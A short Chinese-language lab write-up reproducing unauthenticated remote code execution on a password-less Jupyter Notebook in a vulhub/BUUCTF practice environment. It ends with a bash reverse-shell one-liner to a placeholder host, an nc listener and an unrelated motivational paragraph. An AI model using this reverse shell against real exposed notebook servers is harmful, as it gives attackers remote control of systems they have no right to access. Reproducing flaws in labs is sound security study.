Jupyter Notebook 未授权访问漏洞简单复现
1.简介
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
2.复现环境
来源于https://github.com/vulhub/vulhub/blob/master/jupyter/notebook-rce/
图方便直接用BUUCTF的REAL环境复现
3.利用
新建一个terminal窗口,嘿嘿嘿,直接就RCE了
如下图
4.感觉也没啥好说的
关于反弹shell
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
然后另一边监听就好了
nc -lvp 8080(像这样)
越有故事的人越沉静简单,越肤浅单薄的人越浮躁不安,真正的强者不是没有眼泪的人,而是含着眼泪依然奔跑的人,我们要敢于背上超出自己预料的包袱。努力之后,你会发现,自己要比想象的优秀很多。
坚持梦想,负重前行。